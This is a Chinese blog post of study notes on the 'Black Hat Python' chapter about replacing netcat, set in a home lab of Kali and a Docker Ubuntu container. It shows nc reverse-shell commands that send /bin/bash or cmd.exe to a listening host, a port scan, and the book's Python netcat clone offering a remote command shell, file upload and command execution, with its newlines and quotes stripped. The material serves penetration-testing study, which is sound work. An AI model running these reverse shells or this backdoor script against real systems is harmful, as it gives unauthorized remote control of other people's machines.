《Python 黑帽子:黑客與滲透測試編程之道》筆記二

書中「取代 netcat」的內容,書中有如下介紹:

netcat 是網路界的「瑞士軍刀」,所以聰明的系統管理員都會將它從系統中移除。不止在一個場合,我進入的伺服器都沒有安裝 netcat 卻安裝了 Python。在這種情況下,需要創建一個簡單的客戶端和伺服器來傳遞想要使用的文件,或者創建一個監聽端讓自己擁有控制命令行的操作許可權。如果你是通過 Web 應用漏洞進入伺服器的,那麼在後台調用 Python 創建備用的控制通道顯得尤為實用,這樣就不需要首先在目標機器上安裝木馬或者後門了。

先一起來簡單的複習一下 netcat 的操作。具體的細節 man 一下就行,一些參數的介紹如下:

-h:在線幫助

-i<延遲秒數>:設置時間間隔,以便傳送信息及掃描通信埠

-l:使用監聽模式,監控傳入的資料

-p<通信埠>:設置本地主機使用的通信埠

-r:指定源埠和目的埠都進行隨機的選擇

-v:顯示指令執行過程 [使用 -vv 來輸出更詳細的信息]

-w<超時秒數>:設置等待連線的時間

-z:使用 0 輸入/輸出模式,只在掃描通信埠時使用

為了方便演示,在 docker 中跑一個 Ubuntu,其 IP 為:172.17.0.2。Kali 的 IP 為:192.168.0.102 。

1、遠程拷貝文件

從 Kali 拷貝文件到 Ubuntu,首先需在 Ubuntu 上啟動 nc 激活監聽。使用 man nc > nc.txt 將 nc 的幫助導入文件,我們就傳輸這個文件。

Ubuntu 的命令:

root@a3ad5ef4a9dd:/tmp# nc -lp 2048 > nc.txtn

在 Kali 端需運行命令:

? ~ nc -w 1 172.17.0.2 2048 < nc.txtn

Ubuntu 端:

root@a3ad5ef4a9dd:/tmp# lsn nc.txtn root@a3ad5ef4a9dd:/tmp# cat nc.txt n NC(1) General Commands Manual NC(1)n ... ...n

2、埠掃描

在 Kali 中掃描區域網中另外一台 Windows 的機器:

? ~ nc -v -w 1 192.168.0.103 -z 1-2000n bogon [192.168.0.103] 1178 (skkserv) : Connection timed outn bogon [192.168.0.103] 809 (?) : Connection timed outn bogon [192.168.0.103] 445 (microsoft-ds) openn bogon [192.168.0.103] 139 (netbios-ssn) openn bogon [192.168.0.103] 135 (loc-srv) openn

嗯... 我陷入了沉思。

3、聊天

在 Kali 端鏈接,開始聊天:

在 Ubuntu 上啟動監聽:

4、反向 shell

Kali 端開始監聽:

? ~ nc -l -p 2048 -vvvn listening on [any] 2048 ...n

Ubuntu 端將 shell 發送至指定主機:

root@a3ad5ef4a9dd:/tmp# nc 192.168.0.102 2048 -e /bin/bashn

此時在 Kali 端可執行任何命令了:

? ~ nc -l -p 2048 -vvvn listening on [any] 2048 ...n connect to [192.168.0.102] from bogon [172.17.0.2] 33974n cat /etc/issuen Ubuntu 16.04.1 LTS n ln cd /n lsn binn bootn devn etcn homen libn lib64n median mntn optn ... ...n

PS: 連接成功之後,並不會出現類似 $ # 之類的提示符。

Windows 和 Kali 之間測試:

在 Kali 端執行命令:

? ~ nc -l -p 8888 -e /bin/bashn

在 Windows 端: nc 192.168.0.102 8888

在 Windows 端輸入: nc -l -p 8888 -e C:WindowsSystem32cmd.exe

然後在 kali 端輸入: nc 192.168.0.103 8888

擼代碼之前,再次簡單的複習一下 getopt、subprocess 這兩個模塊。

1、getopt 模塊

這個模塊主要用於處理命令行參數,兩個函數:

getopt.getopt()

getopt.gnu_getopt()

有倆屬性:

getopt.error

getopt.GetoptError

而我們主要討論 getopt 函數,其原型為:

getopt.getopt(args, shortopts, longopts=[])n

args指的是當前腳本接收的參數,是一個列表,可以通過sys.argv獲得。

shortopts 是短參數,類似於這樣(列出 nmap 的幫助信息):

? ~ nmap -h nNmap 7.60 ( Nmap: the Network Mapper )nUsage: nmap [Scan Type(s)] [Options] {target specification}nTARGET SPECIFICATION:n... ...n

longopts 是長參數,類似於這樣(列出 nmap 的幫助信息):

? ~ nmap --helpnNmap 7.60 ( Nmap: the Network Mapper )nUsage: nmap [Scan Type(s)] [Options] {target specification}nTARGET SPECIFICATION:n... ...n

其返回結果是一樣的。舉一個栗子:

import getoptnnshortargs = "f:t"nlongargs = ["directory-prefix=", "format", "--f_long="]nopts, args = getopt.getopt( sys.argv[1:], shortargs, longargs )nprint("****************opts********************")nprint("opts = ", opts)nprint("****************args********************")nprint("args = ", args)n

運行結果:

? ~ python3 getopt_test.py -f "test" -t --directory-prefix=/opt/test ----f_long=128 --format "a" "b"n********* opts **********nopts = [(-f, test), (-t, ), (--directory-prefix, /opt/test), (----f_long, 128), (--format, )]n********* args **********nargs = [a, b]n

其中,短選項名後的 ":" 表示該選項必須有附加參數;長選項名後的 "=" 表示該選項後必須有附加參數。

關於返回值, getopt 返回兩個列表, opts 和 args。

opts 為兩元組的列表,表示解析出的格式信息,格式為(選項, 附加參數).此例中的輸出結果為:

[(-f, test), (-t, ), (--directory-prefix, /opt/test), (----f_long, 128), (--format, )]n

args 為不屬於任何格式信息的部分,此例中結果為: [a, b]。

另外,此例中 sys.argv[1:] 目的是截取輸入的參數,此例我們的輸入命令是:

python3 getopt_test.py -f "test" -t --directory-prefix=/opt/test ----f_long=128 --format "a" "b"n

此時 第一個參數即 argv[0] 的值是 "getopt_test.py"也就是腳本名,所以需要從 argv[1:] 處開始截取。再舉個栗子:

import getoptnimport sysnnopts, args = getopt.getopt(sys.argv[1:], "-h-f:-v", ["help", "filename=", "version"])nfor opt, value in opts:n if opt in ("-h", "--help"):n print("[*] Help Info")n exit(1)n if opt in ("-v", "--version"):n print("[*] Version is 1.0")n exit(1)n if opt in ("-f", "--filename"):n filename = valuen print("[*] Filename is", filename)n exit(1)n

運行結果:

? ~ python3 getopt_test2.py --filename=Python n[*] Filename is Pythonn? ~ python3 getopt_test2.py --version n[*] Version is 1.0n? ~ python3 getopt_test2.py -v n[*] Version is 1.0n? ~ python3 getopt_test2.py -hn[*] Help Infon? ~ python3 getopt_test2.py --helpn[*] Help Infon

這時候相信對 getopt 有了一個直觀的認識。

2、subprocess 模塊

在 Linux 環境下,我們可以 fork 一個子進程,然後 exec 一個外部程序。同樣的,在 Python 中我們可以藉助 subprocess 來創建子進程並運行一個外部程序。下面我們簡要的回顧一下 subprocess 的用法。

2.1 subprocess.call:

subprocess.call(args, *, stdin=None, stdout=None, stderr=None, shell=False)n

運行由 args 指定的程序,且父進程等待子進程完成,返回退出信息,即returncode(類似 Linux exit code),舉個栗子:

In [4]: import subprocessnIn [5]: retcode = subprocess.call(["ls", "-l"])ntotal 140n-rw-r--r-- 1 root root 0 Jan 21 2016 0ndrwxr-xr-x 2 root root 4096 Oct 8 19:59 binndrwxr-xr-x 3 root root 4096 Oct 8 20:14 bootndrwxr-xr-x 3 root root 4096 Nov 25 2016 datan... ...nIn [6]: print (retcode)n0n

上例中 shell 默認為 False,在 Linux 環境下,shell=False 時, Popen 將調用 os.execvp() 執行 args 指定的程序;而當 shell=True 時,可分為兩種情況討論:

第一,若 args 是字元串,則 Popen 直接調用系統 shell 來解釋 args 指定的字元串。

第二,若 args 是一個序列,則 args 的第一項是定義程序命令字元串,其它項是調用系統shell時的附加參數。

上面的栗子也可以這麼實現:

In [8]: retcode = subprocess.call("ls -l", shell=True)ntotal 140n-rw-r--r-- 1 root root 0 Jan 21 2016 0ndrwxr-xr-x 2 root root 4096 Oct 8 19:59 binndrwxr-xr-x 3 root root 4096 Oct 8 20:14 bootn

2.2 subprocess.check_call:

subprocess.check_call(args, *, stdin=None, stdout=None, stderr=None, shell=False)n

運行由 args 指定的程序,且父進程等待子進程完成,返回0。若 returncode 不為0,則拋出 CalledProcessError 異常:

In [10]: subprocess.check_call("exit 1", shell=True)n---------------------------------------------------------------------------nCalledProcessError Traceback (most recent call last)n<ipython-input-10-1f03a695d5c6> in <module>()n----> 1 subprocess.check_call("exit 1", shell=True)n

2.3 subprocess.check_output:

subprocess.check_output(args, *, stdin=None, stderr=None, shell=False, universal_newlines=False)n

運行由 args 指定的程序,並返回子進程寫向標準輸出的輸出結果,且父進程等待子進程完成。如果 returncode 不為0,則拋出 CalledProcessError 異常。舉個栗子:

In [11]: out = subprocess.check_output("ls -l", shell=True)nIn [12]: print(out.decode("utf-8"))ntotal 140n-rw-r--r-- 1 root root 0 Jan 21 2016 0ndrwxr-xr-x 2 root root 4096 Oct 8 19:59 binndrwxr-xr-x 3 root root 4096 Oct 8 20:14 bootn

拋出異常時:

import subprocessntry:n out = subprocess.check_output("IT -L", shell=True, stderr=subprocess.STDOUT)n print(out.decode("utf-8"))nexcept subprocess.CalledProcessError as err:n print("Command Error: ", err)n

運行結果:

Command Error: Command IT -L returned non-zero exit status 127n

PS: 為了控制篇幅,所以基於管道的文本流控制暫時略去,後面有機會再慢慢討論。

在開始正文之前,先寫一個非常簡單的 netcat 客戶端,並藉助前一篇文章的 TCP 服務端進行測試:

import socketnnPORT = 8888nHOSTNAME = "192.168.1.104"nndef netcat(text_to_send):n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)n s.connect(( HOSTNAME, PORT ))n s.sendall(text_to_send)n # close 可以釋放資源,但不一定會關閉鏈接,所以採用 shutdownn s.shutdown(socket.SHUT_WR)nn rec_data = []n while 1:n data = s.recv(1024)n if not data:n breakn rec_data.append(data)nn s.close()n return rec_datannif __name__ == "__main__":n text_to_send = "Hello Kitty!"n text_recved = netcat(text_to_send.encode("utf-8"))n print (text_recved[1])n

測試結果(客戶端與服務端均在同一台機器):

? ~ python3 TCP_Server.pyn[*] 客戶端連接成功: 192.168.1.104:50890n[*] recv_data [(192.168.1.104, 50890)]:Hello Kitty!n[*] [(192.168.1.104, 50890)]客戶端已斷開!n

啰啰嗦嗦的聊了這麼多之後,讓我們擼一個簡單的 netcat 出來(下面為書中源碼,做了些許的改動):

# -*- coding:UTF-8 -*-nimport socketnimport sysnimport getoptnimport threadingnimport subprocessnn# 定義一些全局變數nLISTEN = FalsenCOMMAND = FalsenUPLOAD = FalsenEXECUTE = nTARGET = nUP_DEST = nPORT = 0nn# 幫助選項ndef usage():n print "Usage: netcat_Liu.py -t <HOST> -p <PORT>"n print " -l --listen listen on HOST:PORT"n print " -e --execute=file execute the given file"n print " -c --command initialize a command shell"n print " -u --upload=destination upload file and write to destination"n printn print "Examples:"n print "netcat_Liu.py -t localhost -p 5555 -l -c"n print "netcat_Liu.py -t localhost -p 5555 -l -u=C:target.exe"n print "netcat_Liu.py -t localhost -p 5555 -l -e="cat /etc/passwd""n print "echo ABCDEFGHI | ./netcat_Liu.py -t localhost -p 135"n sys.exit(0)nn# 服務端函數,與上篇中的 TCP 服務端還是很相似的ndef server_loop():n server = socket.socket( socket.AF_INET, socket.SOCK_STREAM )n server.bind(( TARGET, PORT ))n server.listen(5)nn while True:n client_socket, addr = server.accept()n # 分拆一個線程處理新的客戶端n client_thread = threading.Thread( target =client_handler, n args=(client_socket,))n client_thread.start()nn# 客戶端函數,與上文中那個簡易版的 netcat 有些相似,創建套接字然後進入循環收發數據ndef client_sender(buffer):n client = socket.socket( socket.AF_INET, socket.SOCK_STREAM )nn try:n # 連接到目標主機n client.connect(( TARGET, PORT ))nn # 檢測是否收到數據n if len(buffer):n client.send(buffer)nn while True:n # 等待數據n recv_len = 1n response = nn while recv_len:n data = client.recv(4096)n recv_len = len(data)n response += datan if recv_len < 4096:n breakn print responsenn # 等待更多數據,直到沒有新的數據n buffer = raw_input()n buffer += nnn client.send(buffer)nn except:n print [*] Exception. Exiting.n client.close()nnn# 實現文件上傳,命令執行以及與 shell 相關的功能(在一個名為 NETCAT_Liu 的特殊 shell)ndef client_handler(client_socket):n global UPLOADn global EXECUTEn global COMMANDnn # 檢測上傳文件n if len(UP_DEST):n file_buf = nn # 讀取數據,直到沒有新的數據n while 1:n data = client_socket.recv(1024)n if data:n file_buffer += datan else:n breaknn # 以二進位的方式寫入位元組n try:n with open(UP_DEST, wb) as f:n f.write(file_buffer)n client_socket.send(File saved to %srn % UP_DEST)n except:n client_socket.send(Failed to save file to %srn % UP_DEST)nn # 檢測可執行命令:n if len(EXECUTE):n output = run_command(EXECUTE)n client_socket.send(output)nn # 如果請求 shell,則進入循環n if COMMAND:n while True:n # 顯示命令提示符:n client_socket.send([NETCAT_Liu]# )n cmd_buffer = nn # 掃描換行符以確定何時執行命令n while n not in cmd_buffer:n cmd_buffer += client_socket.recv(1024)nn # 回傳命令輸出n response = run_command(cmd_buffer)n client_socket.send(response)nndef run_command(command):n command = command.rstrip()n print commandn try:n output = subprocess.check_output(command, stderr=subprocess.STDOUT, n shell=True)n except:n output = "Failed to execute command.rn"n return outputnndef main():n global LISTENn global PORTn global EXECUTEn global COMMANDn global UP_DESTn global TARGETnn if not len(sys.argv[1:]):n usage()nn # 讀取命令行選項n try:n opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu", n ["help", "LISTEN", "EXECUTE", "TARGET", "PORT", "COMMAND", "UPLOAD"])n except getopt.GetoptError as err:n print str(err)n usage()nn for o, a in opts:n if o in (-h, --help):n usage()n elif o in (-l, --listen):n LISTEN = Truen elif o in (-e, --execute):n EXECUTE = an elif o in (-c, --commandshell):n COMMAND = Truen elif o in (-u, --upload):n UP_DEST = an elif o in (-t, --target):n TARGET = an elif o in (-p, --port):n PORT = int(a)n else:n assert False, "Unhandled option"nn # NETCAT Clientn if not LISTEN and len(TARGET) and PORT > 0:n # 從命令行讀取內存數據n # 這裡會阻塞,所以不在向標準輸入發送數據時要發送 CTRL - Dn buffer = sys.stdin.read()nn # 發送數據n client_sender(buffer)nn # NETCAT Servern if LISTEN:n if not len(TARGET):n TARGET = 0.0.0.0n server_loop()nnif __name__ == __main__:n main()n

在本機上測試結果:

命令: python NETCAT_Liu.py -t localhost -p 9999

? ~ python NETCAT_Liu.py -t localhost -p 9999n<CTRL-D>n[NETCAT_Liu]# npwdn/home/Xke/PycharmProjects/Black Hat Pythonn[NETCAT_Liu]# nwhonXke tty2 2017-10-29 15:18 (:1)n[NETCAT_Liu]# nuname -anLinux Luo 4.9.0-kali4-amd64 #1 SMP Debian 4.9.30-2kali1 (2017-06-22) x86_64 GNU/Linuxn[NETCAT_Liu]# ncat /etc/issuenKali GNU/Linux Rolling n ln[NETCAT_Liu]# n

命令: python NETCAT_Liu.py -l -p 9999 -c

? ~ python NETCAT_Liu.py -l -p 9999 -c npwdnwhonuname -ancat /etc/issuen

命令: echo -ne "GET / HTTP/1.1nHost: baidu.comrnrn" | python NETCAT_Liu.py -t baidu.com -p 80

? ~ echo -ne "GET / HTTP/1.1nHost: www.baidu.comrnrn" | python NETCAT_Liu.py -t www.baidu.com -p 80nHTTP/1.1 200 OKnDate: Sun, 29 Oct 2017 09:39:19 GMTnContent-Type: text/htmlnContent-Length: 14613nLast-Modified: Thu, 19 Oct 2017 03:08:00 GMTnConnection: Keep-AlivenVary: Accept-EncodingnSet-Cookie: BAIDUID=... ...:FG=1; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.comnSet-Cookie: BIDUPSID=... ...; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.comnSet-Cookie: PSTM=... ...; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.comnP3P: CP=" OTI DSP COR IVA OUR IND COM "nServer: BWS/1.1nX-UA-Compatible: IE=Edge,chrome=1nPragma: no-cachenCache-control: no-cachenAccept-Ranges: bytesnnn[*] Exception. Exiting.n

由於篇幅太長,所以 Python3 版本的 netcat 將在此系列文章的最後統一提供。

書中下一個點是「創建一個 TCP 代理」,下禮拜接著聊。

文中如有錯誤,還請斧正!

推薦閱讀:

XSS跨站漏洞詳解
如何構建自己的滲透測試環境
酷站推薦 - metasploit.com - Metasploit | penetration testing framework
phpcms_authkey泄露注入

TAG:Python | 渗透测试 | 黑客Hacker |